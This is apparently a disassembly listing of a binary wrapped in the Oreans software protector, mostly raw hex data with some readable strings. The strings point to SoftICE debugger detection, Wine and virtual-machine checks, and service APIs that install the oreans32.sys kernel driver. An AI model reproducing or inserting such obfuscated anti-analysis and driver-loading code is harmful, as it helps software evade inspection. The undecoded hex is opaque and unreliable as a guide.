		dd 500615A4h, 0A406858Dh, 68500615h, 80000001h,	0A4AC95FFh
		dd 46A0615h, 0A4A0858Dh, 6A500615h, 8D006A04h, 15A42C85h
		dd 0B5FF5006h, 615A49Ch, 1D4595FFh, 0BD830613h,	6131625h
		dd 0C840F00h, 0FF000000h, 15A49CB5h, 0A895FF06h, 0FF0615A4h
		dd 15A49CB5h, 0CD95FF06h, 61061331h, 0E185C6C3h, 52061311h
		dd 0E47B0768h, 0C9B5FFADh, 0FF061307h, 13323595h, 0AC858906h
		dd 0C60615A4h, 1311E185h, 0E5685206h, 0FF902E00h, 1307C9B5h
		dd 3595FF06h, 89061332h, 15A4A885h, 0E185C606h,	52061311h
		dd 0BF123568h, 0C9B5FFB9h, 0FF061307h, 13323595h, 45858906h
		dd 0C606131Dh, 1311E185h, 34685206h, 0FF987810h, 1307C9B5h
		dd 3595FF06h, 89061332h, 1331CD85h, 0E185C606h,	52061311h
		dd 5DBD468h, 0C9B5FFC0h, 0FF061307h, 13323595h,	91858906h
		dd 0EB061311h, 2E5C5C1Eh, 4349535Ch, 5C5C0045h,	49535C2Eh
		dd 44495657h, 2E5C5C00h, 49544E5Ch, 8B004543h, 816656C0h
		dd 59517AE2h, 1625BD83h, 75000613h, 81BD8309h, 6132Ch
		dd 53501974h, 0FB8C08Bh, 89000004h, 130D7D85h, 7D9D8D06h
		dd 0FF0615A9h, 83585BD3h, 132C81BDh, 17740006h,	0FB85350h
		dd 89000004h, 130D7D85h, 6C9D8D06h, 0FF0615A6h,	8B585BD3h
		dd 130619B5h, 0FE806h, 0D3510000h, 627D505Ah, 0F87003D7h
		dd 8FFD2DF2h, 5E5DB5F0h, 147DBD8Bh, 0C08B0613h,	85C6CA8Bh
		dd 61311E1h, 0D7816643h, 4E84F84h, 0FC000000h, 66BC8E6Eh
		dd 0F50F38Bh, 28Eh, 8BD18B00h, 8B042444h, 5E800h, 0AEDB0000h
		dd 51F1C840h, 44895A5Ah, 0FE8B0424h, 52006A58h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 29A8946Dh
		dd 428C2A12h, 0FF3AB6DDh, 13116DB5h, 7DBD0306h,	8D061317h
		dd 133AAD85h, 6E806h, 0BB590000h, 0C25BF3E5h, 0AE8h, 750B8D00h
		dd 821620A8h, 8B011776h, 131C11B5h, 0FF5A5906h,	52006AD0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0BE90451h, 6D000000h, 0DC73E612h, 0A0C7A35Ah, 8B665A01h
		dd 0BFBF50CFh, 89573EDDh, 0BD092404h, 6132071h,	8529006Ah
		dd 61321EDh, 0C21F7768h, 68D0FD1h, 0F000000h, 8Ch, 24048100h
		dd 2E3DE109h, 306D9D89h, 36A0613h, 68B0Fh, 8D8B0000h, 61320CDh
		dd 1E719D89h, 6A0613h, 118DBD33h, 10E90613h, 5E000000h
		dd 55E2F277h, 0E260A34Dh, 5FF62C2Bh, 6A3A4924h,	6E803h
		dd 47D40000h, 468172ADh, 3499BD09h, 685A0613h, 0AFBA6238h
		dd 38E0F51h, 66000000h,	8159C88Bh, 62382434h, 0BF0F6FBAh
		dd 0E39D8DFAh, 660615AAh, 0E09DE981h, 4890F50h,	66000000h
		dd 890781BFh, 8166241Ch, 0FFD292C1h, 2B14BED0h,	0F404028h
		dd 2BC85h, 19B58B00h, 58061331h, 96077B2h, 130A4195h, 0AE906h
		dd 40760000h, 0C2A1AA40h, 0C15CDA2Eh, 810F5061h, 0Ch, 52505250h
		dd 2 dup(585A310Fh), 89240489h,	132369BDh, 29006A06h, 131B519Dh
		dd 0E1136806h, 7E950FEh, 3B000000h, 15AA6C17h, 34812A5Ch
		dd 0FEE19324h, 53006A50h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 8B66F660h, 29036AF9h
		dd 13133195h, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 1DA3C355h, 95D7B4BEh
		dd 6A321588h, 0B5BD8B03h, 68061305h, 72DEB3EBh,	0AE8h
		dd 51887100h, 99D13EF1h, 600482CCh, 7E8h, 5E826E00h, 1E57128h
		dd 3ABB665Bh, 815E616Eh, 4C152404h, 8D8B4D21h, 6131D21h
		dd 9D8DA9B6h, 615AAECh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 48C35141h, 8B17CF4Bh,	0EE8D3h, 0E90C0000h
		dd 75A810F0h, 0A4A5EA37h, 3BA9904Eh, 13E9h, 3D36E000h
		dd 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h,	0E950935Ah
		dd 0Dh,	0A1C429D2h, 0E11D4C94h,	0ADFB3214h, 0B966935Eh
		dd 0D0FF3E23h, 132D9D89h, 33600613h, 1330FDBDh,	0EE816006h
		dd 399614A6h, 2EBD9589h, 61610613h, 42850F40h, 8B000001h
		dd 1300C58Dh, 0D1BA5806h, 502809CBh, 0DE850h, 39AA0000h
		dd 0B9E47D0Ah, 7A8B22Dh, 66F0F4D8h, 5F59CF8Bh, 6A240489h
		dd 68F0F00h, 9000000h, 13129DBDh, 61716806h, 62B584B3h
		dd 0F240481h, 667B4C9Fh, 0F78BD38Bh, 6A036Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5AFD06C3h
		dd 0A568B15Ah, 6A39DDBAh, 0AE900h, 0B2320000h, 0CCB86B47h
		dd 8FF90F93h, 1AE78166h, 0BE036ABFh, 2C049053h,	63801368h
		dd 28B0F42h, 8A000000h,	240481D7h, 7D9C7FEDh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 5BC35141h, 8D9EF48Eh
		dd 15AAF79Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 7987210Bh, 0E8C18160h, 603AD378h
		dd 958BE28Ah, 61334E9h,	8A506161h, 241C89F7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F7C35141h, 80C1CC46h
		dd 969FA94Ch, 0FB8B6645h, 0FFF0BF0Fh, 699D01D0h, 40061330h
		dd 0B850Fh, 81660000h, 58DC0DDEh, 1A2E9h, 6AD88B00h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 6370C356h, 0CA804F7Ch, 68F0FD4h, 8B000000h, 132FED95h
		dd 0EE94B06h, 0A8000000h, 87324864h, 0CDBCEF0h,	0C3813913h
		dd 6A5880h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0BEB1F8C3h, 0C6B5B1E0h, 1311E185h, 950B4306h
		dd 6131729h, 4E8h, 764AA700h, 50F8B5C0h, 0F98B5250h, 5250310Fh
		dd 310FD38Bh, 5AF88B66h, 8B585A58h, 50042444h, 5E505152h
		dd 5A310F5Fh, 0E9008B58h, 7, 27121401h,	89289577h, 0E8042444h
		dd 10h,	0E1D0856Dh, 0F835DAD1h,	0B08134C1h, 27DAFBD1h
		dd 0CDBF585Ah, 0FF185E3Fh, 13116DB5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 8D29604Ch, 6130BADh,	6860Fh,	880F0000h, 0
		dd 0AD858D61h, 0F806133Ah, 5693D0FFh, 0DC93D6B9h, 66505A41h
		dd 0FC93CE8Bh, 10E8h, 0F8BCF600h, 0CC76F1Eh, 4D2748DFh
		dd 0CFDD88EDh, 5AF98BE9h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0BF48C7C3h, 0F5C531E0h
		dd 0E9687013h, 5, 1F8F5A8h, 168D0F42h, 0E9000000h, 11h
		dd 96191DB4h, 0A10E20Fh, 9DEADF9Eh, 0ED667270h,	339D8D33h
		dd 60061375h, 0B7DE8166h, 1D9D092Fh, 6106130Bh,	1B8h, 39BD8900h
		dd 0FF061301h, 8BFA8BE3h, 0C08BFCC1h, 2A3DB58Bh, 53600613h
		dd 1ED18D29h, 8B590613h, 132149BDh, 0BD836106h,	6131625h
		dd 83097500h, 132C81BDh, 19740006h, 0C08B5350h,	40FB8h
		dd 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h
		dd 6132Ch, 53501774h, 40FB8h, 15858900h, 8D061331h, 15A6859Dh
		dd 5BD3FF06h, 0A9852958h, 8B061321h, 9E8C0h, 8A9D0000h
		dd 35C57108h, 8B5101D9h, 13124185h, 0BD8B5E06h,	6130959h
		dd 59D3C681h, 8C0F0000h, 6, 283DBD8Bh, 39680613h, 0E9000016h
		dd 0Ah,	61B3D25Ah, 0A3752C80h, 665B2388h, 0FF7C62BAh, 7FBF6636h
		dd 9D895917h, 6130A51h,	0E8ECF181h, 0BD8B1E42h,	6130579h
		dd 2B56E981h, 0E8602960h, 9, 82F747CEh,	30731A4Dh, 5E9E1h
		dd 0B8F40000h, 5BBA858Fh, 0BE9h, 0BCBFB400h, 6E3DFF93h
		dd 0A4A0849Bh, 5DC18161h, 5627E926h, 0B382DF81h, 895F2CABh
		dd 0C6BF0F0Eh, 0EBFFEE81h, 9D29458Dh, 6130CFDh,	0EBFBC681h
		dd 9D89458Dh, 6131E9Dh,	1EB81h,	850F0000h, 19h,	1A35B589h
		dd 26E90613h, 85000000h, 0A880FDC4h, 0DEF8FC05h, 0E7183AD4h
		dd 3D958BD3h, 0E906130Ch, 0FFFFFF5Bh, 7E5FF0FEh, 0FF01BFAFh
		dd 3141FE5Bh, 99E974h, 622F0000h, 68636775h, 326B6365h
		dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h
		dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h
		dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh
		dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h
		dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch
		dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h
		dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 15B34CBDh
		dd 840F0006h, 0Ah, 2C8185C7h, 10613h, 85C60000h, 61311E1h
		dd 4E847h, 6C8D0000h, 8B50906Dh, 8B042444h, 24448900h
		dd 0B5FF5804h, 613116Dh, 3AAD858Dh, 0D0FF0613h,	0F88BD0FFh
		dd 0F223F80h, 2285h, 22B04700h,	0F9850FAEh, 80FFFFFFh
		dd 840F003Fh, 31Bh, 3F8047h, 311840Fh, 1EE90000h, 80000000h
		dd 840F003Fh, 303h, 0F203F80h, 685h, 6E94700h, 47000000h
		dd 0FFFFE2E9h, 3F80FFh,	5850Fh,	0E0E90000h, 0E9000002h
		dd 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh,	5850F00h, 0E9000000h
		dd 2C3h, 0AE8h,	0FFCBE900h, 0B4E9FFFFh,	8D000002h, 15B2CCB5h
		dd 225E806h, 0BD030000h, 615B361h, 0B361BD83h, 0F000615h
		dd 0B84h, 2585C700h, 1061316h, 0C3000000h, 0B2D7B58Dh
		dd 0FCE80615h, 3000001h, 15B361BDh, 61BD8306h, 615B3h
		dd 0B840Fh, 85C70000h, 6132C81h, 1, 50B58DC3h, 0E80615B3h
		dd 1D3h, 0B361BD03h, 0BD830615h, 615B361h, 0B840F00h, 0C7000000h
		dd 130EFD85h, 106h, 0B58DC300h,	615B2E1h, 1AAE8h, 61BD0300h
		dd 830615B3h, 15B361BDh, 840F0006h, 0Bh, 2C8185C7h, 10613h
		dd 8DC30000h, 15B2EBB5h, 181E806h, 0BD030000h, 615B361h
		dd 0B361BD83h, 0F000615h, 1584h, 8185C700h, 106132Ch, 0C7000000h
		dd 13162585h, 106h, 0B58DC300h,	615B2F9h, 14EE8h, 61BD0300h
		dd 830615B3h, 15B361BDh, 840F0006h, 0Ah, 234585C7h, 10613h
		dd 0B58D0000h, 615B303h, 126E8h, 61BD0300h, 830615B3h
		dd 15B361BDh, 840F0006h, 0Ah, 234585C7h, 10613h, 0B58D0000h
		dd 615B30Eh, 0FEE8h, 61BD0300h,	830615B3h, 15B361BDh, 840F0006h
		dd 0Ah,	8A585C7h, 10613h, 0B58D0000h, 615B314h,	0D6E8h
		dd 61BD0300h, 830615B3h, 15B361BDh, 840F0006h, 0Ah, 23C585C7h
		dd 10613h, 0B58D0000h, 615B31Ah, 0AEE8h, 61BD0300h, 830615B3h
		dd 15B361BDh, 840F0006h, 0Ah, 34C985C7h, 10613h, 0B58D0000h
		dd 615B328h, 86E8h, 61BD0300h, 830615B3h, 15B361BDh, 840F0006h
		dd 0Ah,	0F6585C7h, 10613h, 0B58D0000h, 615B335h, 5EE8h
		dd 61BD0300h, 830615B3h, 15B361BDh, 840F0006h, 0Ah, 34E585C7h
		dd 10613h, 0B58D0000h, 615B340h, 36E8h,	61BD0300h, 830615B3h
		dd 15B361BDh, 840F0006h, 0Ah, 195D85C7h, 10613h, 1E90000h
		dd 47000000h, 0F203F80h, 984h, 3F8000h,	0FFED850Fh, 60C3FFFFh
		dd 1B9h, 0E9DE8B00h, 1Ch, 0F003F80h, 585h, 0B900h, 178A0000h
		dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h
		dd 0FFFFD385h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
		dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
		dd 0D840Fh, 0F32B0000h,	0B361B589h, 0AE90615h, 0C7000000h
		dd 15B36185h, 6, 0B8C36100h, 0
		dd 840FC00Bh, 0Ah, 234585C7h, 613h, 0C88B0000h,	20EE9h
		dd 61433300h, 746F6E6Eh, 69727720h, 6F206574h, 6E616572h
		dd 78762E73h, 4D0D0A64h, 20656B61h, 65727573h, 61687420h
		dd 68742074h, 66207369h, 20656C69h, 6E207369h, 6220746Fh
		dd 676E6965h, 65737520h, 79622064h, 6F6E6120h, 72656874h
		dd 6F727020h, 6D617267h, 2Eh, 67h dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 0E9000000h, 0EFh, 11E185C6h,	68470613h, 0E3E45B86h
		dd 116DB5FFh, 858D0613h, 6133AADh, 468D0FFh, 8D000001h
		dd 13178D9Dh, 0D0FF5306h, 0F7B58D50h, 8B0615B8h, 0AEC032FEh
		dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 0E185C6A4h
		dd 43061311h, 8E6EFC68h, 6DB5FFBCh, 8D061311h, 133AAD85h
		dd 8DD0FF06h, 13178DB5h, 68006A06h, 80h, 6A026Ah, 68006Ah
		dd 56C00000h, 0D88BD0FFh, 11E185C6h, 68570613h,	0A69BEE56h
		dd 116DB5FFh, 858D0613h, 6133AADh, 0BD8DD0FFh, 6132B8Dh
		dd 0BA1D8D8Dh, 6A0615h,	37D06857h, 53510000h, 0C085D0FFh
		dd 1B850Fh, 0B58D0000h,	615B6FFh, 0A34D858Dh, 0D0FF0615h
		dd 75338D8Dh, 0B80613h,	0FF000000h, 0E185C6E1h,	43061311h
		dd 764AA768h, 6DB5FFC0h, 8D061311h, 133AAD85h, 53D0FF06h
		dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h,	0E908890Eh, 2
		dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h
		dd 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
		dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h
		dd 58D1475h, 0
		dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h
		dd 4244445Fh, 0E8000000h, 11h, 3E2865B9h, 5CAB744Ah, 1CF02560h
		dd 73E162EFh, 0F58F941h, 0C8Ch,	6830F00h, 8B000000h, 130061BDh
		dd 0EEC08106h, 0B3000062h, 60C933D2h, 8C0FDBB1h, 6, 5958D8Bh
		dd 8B610613h, 0BF660834h, 0C68149EBh, 2B14EC77h, 25D78166h
		dd 0DAEE8137h, 89242DE4h, 1323FDB5h, 9BEE8106h,	8954161Ch
		dd 1312BD9Dh, 8348906h,	0AE9h, 0BB897C00h, 9E6FFF35h, 1C2D6EAh
		dd 132A5D85h, 4E98306h,	18D5BD29h, 0F9810613h, 0FFFF9DDCh
		dd 1E850Fh, 0BD890000h,	6132D01h, 2DE9h, 0CD5C8600h, 290DBA75h
		dd 3BA72F4Dh, 9D4D570Ah, 9ED98809h, 84E9E7B3h, 97FFFFFFh
		dd 0C51B13C6h, 920EAF07h, 0BE05B278h, 0D1544DECh, 0B7E9E8D7h
		dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh
		dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h
		dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h
		dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh
		dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h
		dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h
		dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h
		dd 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 10h
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
aSOreans_vxd	db '%s\Oreans.vxd',0
		align 4
		dd 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 10h
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	76726553h, 20656369h, 6B636150h
		dd 3220h, 1Dh dup(0)
aSoftwareWine	db 'Software\Wine',0
		dw 0C48Bh
		dd 85894AB6h, 6130E81h,	0BF07BF66h, 12E9C08Bh, 99000000h
		dd 0F7161FC0h, 0FE2BC48Bh, 3CC1B091h, 9CCD2D42h, 25BD8345h
		dd 61316h, 0BD830975h, 6132C81h, 50197400h, 0B8C08B53h
		dd 43Dh, 0D7D8589h, 9D8D0613h, 615A97Dh, 585BD3FFh, 2C81BD83h
		dd 74000613h, 0B8535017h, 43Dh,	0D7D8589h, 9D8D0613h, 615A66Ch
		dd 585BD3FFh, 38E0Fh, 0DA800000h, 51006A23h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 97E30338h
		dd 4E0CC895h, 19852988h, 8B06130Bh, 198589C0h, 8106130Eh
		dd 0CE6A3DEAh, 0E9C08B74h, 6, 0BF9B9739h, 0BD839B5Dh, 6131625h
		dd 83097500h, 132C81BDh, 13740006h, 0C08B5350h,	0B8h, 1F9D8D00h
		dd 0FF0615A8h, 83585BD3h, 132C81BDh, 11740006h,	0B85350h
		dd 8D000000h, 15A6D09Dh, 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0D828BFC0h
		dd 97B1F82Fh, 0EE960h, 70790000h, 0CDD7DCDEh, 0C45ADF4Eh
		dd 0D4CE7398h, 19F18589h, 8B610613h, 7E9C0h, 0FC540000h
		dd 0A0A2A439h, 0E9C08B52h, 6, 966C438Ch, 8B669A44h, 25BD83F8h
		dd 61316h, 0BD830975h, 6132C81h, 50137400h, 0B8C08B53h
		dd 0
		dd 0A7519D8Dh, 0D3FF0615h, 0BD83585Bh, 6132C81h, 50117400h
		dd 0B853h, 9D8D0000h, 615A69Eh,	585BD3FFh, 7894BA66h, 7D7E4EBAh
		dd 0C981666Dh, 0C08B6C0Dh, 0C08BD38Bh, 10E9h, 2135F00h
		dd 8D55A283h, 0F599583Bh, 0BEB437BFh, 1BD8B0Dh,	8306130Fh
		dd 131625BDh, 9750006h,	2C81BD83h, 74000613h, 8B535013h
		dd 0B8C0h, 9D8D0000h, 615A7B8h,	585BD3FFh, 2C81BD83h, 74000613h
		dd 0B8535011h, 0
		dd 0A6B79D8Dh, 0D3FF0615h, 0BA66585Bh, 0CA813692h, 38519D3Eh
		dd 8BF9C08Bh, 0F18166C0h, 0BD8393D8h, 6131625h,	83097500h
		dd 132C81BDh, 13740006h, 0C08B5350h, 0B8h, 0EA9D8D00h
		dd 0FF0615A6h, 0E8585BD3h, 7, 0B8281FF2h, 8143C463h, 8CE322D9h
		dd 8D035F3Eh, 6132485h,	6AC08Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 6FD9ABC3h, 4ADB3C08h
		dd 85BD8B6Fh, 8A061313h, 0FC08BD3h, 0F86h, 0AE900h, 652A0000h
		dd 4F930C5Bh, 0D54F7791h, 1625BD83h, 75000613h,	81BD8309h
		dd 6132Ch, 53501974h, 0D0B8C08Bh, 89000007h, 130D7D85h
		dd 7D9D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh,	17740006h
		dd 0D0B85350h, 89000007h, 130D7D85h, 6C9D8D06h,	0FF0615A6h
		dd 6A585BD3h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0DF56C352h, 8AA7B992h,	0BD8B3237h
		dd 6130B41h, 0C8A0Fh, 7E90000h,	50000000h, 0BE409405h
		dd 0C08BA561h, 0C6CF8B66h, 1311E185h, 6A5306h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 5B6F62C3h, 1E8C860Eh, 58B0F9Bh, 66000000h, 0D873EF81h
		dd 395F9068h, 0B96699h,	6DB5FF33h, 80061311h, 858DE2E6h
		dd 6133AADh, 1D41BD8Bh,	0D0FF0613h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 6FC35141h, 0AA450E38h, 89E6D034h
		dd 131D8985h, 0B5BD8906h, 0C606130Eh, 1311E185h, 6A5706h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 196560C3h, 66862CEh,	50900452h, 68E0Fh, 8A0F0000h, 0
		dd 6DB5FF5Ah, 31061311h, 132A818Dh, 0AD858D06h,	0E806133Ah
		dd 0Eh,	695D5572h, 0DE1E1915h, 9A3DD322h, 880FB132h, 2
		dd 66596160h, 0FFE96FBAh, 0B70FF5D0h, 0AD8589D6h, 6A061331h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0D4F6C353h, 11E185C6h, 89430613h,	1300A5BDh
		dd 70286806h, 0EFB9BC90h, 0FF7C382Eh, 13116DB5h, 68F0F06h
		dd 8B000000h, 13323D95h, 0AD858D06h, 8906133Ah,	1325B1BDh
		dd 0BFD0FF06h, 1D1EDD91h, 12898589h, 0BF660613h, 85C628A6h
		dd 61311E1h, 0FD95234Ch, 68061322h, 0D9DA1CE9h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 46C35343h, 2DB52950h
		dd 0FF061309h, 13116DB5h, 0DE906h, 202E0000h, 44463F1Ch
		dd 681324Ah, 8D482D9Fh,	133AAD85h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 65D24C13h
		dd 30A59589h, 0E8600613h, 11h, 8BB8806Dh, 0F71C98C7h, 0B120B9C1h
		dd 3EFA4476h, 6AEE8124h, 5E55C69Bh, 28819D01h, 0FF610613h
		dd 3BBF66D0h, 0ED85892Fh, 6A061311h, 3E85300h, 20000000h
